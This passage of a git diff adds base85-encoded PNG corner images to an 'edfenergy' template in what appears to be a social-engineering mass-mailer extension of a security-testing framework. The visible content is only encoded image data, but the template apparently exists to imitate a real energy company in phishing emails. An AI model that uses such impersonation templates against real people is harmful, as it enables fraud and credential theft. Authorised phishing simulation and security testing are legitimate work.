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 AivR!s literal 0 HcmV?d00001 diff --git a/extensions/social_engineering/mass_mailer/templates/edfenergy/corner-br.png b/extensions/social_engineering/mass_mailer/templates/edfenergy/corner-br.png new file mode 100644 index 0000000000000000000000000000000000000000..86dda3cdb39b579a31d0c216fe1dce9467d035c2 GIT binary patch literal 2893 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 literal 0 HcmV?d00001 diff --git a/extensions/social_engineering/mass_mailer/templates/edfenergy/corner-tl.png b/extensions/social_engineering/mass_mailer/templates/edfenergy/corner-tl.png new file mode 100644 index 0000000000000000000000000000000000000000..002941299e671a00a1422edacb02938b014d5aa1 GIT binary patch literal 2900 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 